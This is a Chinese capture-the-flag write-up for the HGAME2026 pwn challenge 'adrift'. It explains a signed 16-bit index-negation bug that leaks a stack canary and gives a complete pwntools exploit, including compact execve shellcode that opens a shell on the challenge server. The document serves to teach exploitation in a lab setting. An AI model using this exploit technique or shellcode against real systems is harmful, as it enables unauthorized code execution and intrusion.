HGAME2026 adrift

这道题主要是复现官方 wp 中的解法,个人感觉太巧妙了。

反编译关键部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
__int64 v8[125]; // [rsp+6h] [rbp-3FAh] BYREF
__int64 v9; // [rsp+3F0h] [rbp-10h]

init_canary();
v9 = canary;
……
switch ( v6[0] )
{
case 0:
printf("way> ");
read(0, v8, 0x410uLL);
printf("distance> ");
for ( i = 0; i <= 200 && dis[i]; ++i )
;
v3 = (_QWORD *)((char *)&str + 1304 * i);
*v3 = v8[0];
v3[124] = v8[124];
qmemcpy(
(void *)((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL),
(const void *)((char *)v8 - ((char *)v3 - ((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
8LL * ((((_DWORD)v3 - (((_DWORD)v3 + 8) & 0xFFFFFFF8) + 1000) & 0xFFFFFFF8) >> 3));
memset(v8, 0, sizeof(v8));
__isoc99_scanf("%lu", &dis[i]);
break;
case 2:
show();
break;
case 3:
printf("index> ");
__isoc99_scanf("%hd", v6);
v4 = v6[0];
if ( v6[0] <= 0 )
v4 = -v6[0];
v6[0] = v4;
if ( v4 > 200 )
{
puts("invalid index");
}
else
{
printf("a new distance> ");
__isoc99_scanf("%lu", &dis[v6[0]]);
}
break;

int show()
{
__int64 v0; // rax
__int16 v2; // [rsp+Eh] [rbp-2h] BYREF

printf("index> ");
__isoc99_scanf("%hd", &v2);
LOWORD(v0) = v2;
if ( v2 <= 0 )
LOWORD(v0) = -v2;
v2 = v0;
LODWORD(v0) = (unsigned __int16)v0;
if ( (__int16)v0 <= 199 )
{
v0 = dis[v2];
if ( v0 )
LODWORD(v0) = printf(": %lu\n", dis[v2]);
}
return v0;
}:

关键思路:程序会读取一个index并将其转成正数,这里全局变量str布置的很特意,利用最小负数取反会等于其自身的行为

也就是输入-32768取反之后32768又会转成-32768(大于32767了)

其实这里就是数组越界了,那我们看看越界能读取到什么:

.bss:0000000000004060 canary .bss:0000000000004080 str .bss:0000000000044060 dis

算一下:

-32768=0x8000

0x8000*8=0x40000

44060-40000=4060

刚刚好可以读取到canary!(这里的canary是手动创建的,从获取canary的函数可以知道应该是一个栈地址)

那么执行show(-32768)就可以将其泄露出来了,动调可以得到栈上其它变量的地址。

case0中read给了个溢出,但是注意case0最后的memset又会把v8清空,程序没开启NX所以考虑用shellcode,那么我们只能把shellcode放在v8和返回地址中间,那么对shellcode长度就有严格要求,官方writeup给的这段shellcode也十分巧妙:

1
2
3
4
5
push rdx;
pop rdi;
mov al, 0x3b
cdq
syscall

push rdx;动调可以确定最后的比较会把canary的值放入rdx中,先把canary压入栈,然后放入rdi中,al是rax的低8位,这样写可以减少shellcode的长度,cdq将 eax 的符号位扩展到 edx。这里 eax=0x3b 为正,所以 edx 被清零(system的第三个参数)。这样最终shellcode的长度只有7!

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#context.terminal = ['konsole', '-e', 'sh', '-c']
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#p = process("./vuln")
p = remote('forward.vidar.club',30370)
p.sendlineafter("choose> ","2")
p.sendlineafter("index> ", "-32768")
addr = p.recvuntil(b'\nchoose',drop=True)[-15:]
print(hex(int(addr)))
addr = int(addr)+0x410
log.success(hex(addr))
#canary的值在rdx中
#al是rax的低8位,这样写可以减少shellcode的长度
#cdq将 eax 的符号位扩展到 edx。这里 eax=0x3b 为正,所以 edx 被清零。
shellcode = asm("""
push rdx;
pop rdi;
mov al, 0x3b
cdq
syscall
"""
)
#1002覆盖到v9前
#addr+len覆盖canary
#addr的位置
payload =b'a'*1002+p64(addr+len(shellcode))+shellcode+b'/bin/sh\x00\x00'+p64(addr)
log.success(f"len: {len(shellcode)}")
#修改canary的值
p.sendline("3")
p.sendlineafter("index> ", "-32768")
p.sendlineafter("a new distance> ", str(addr+len(shellcode)))
#发送payload
p.sendlineafter("choose> ","0")
p.sendafter("way> ", payload)
p.sendlineafter("distance> ", "233")
p.sendlineafter("choose> ","4")
p.interactive()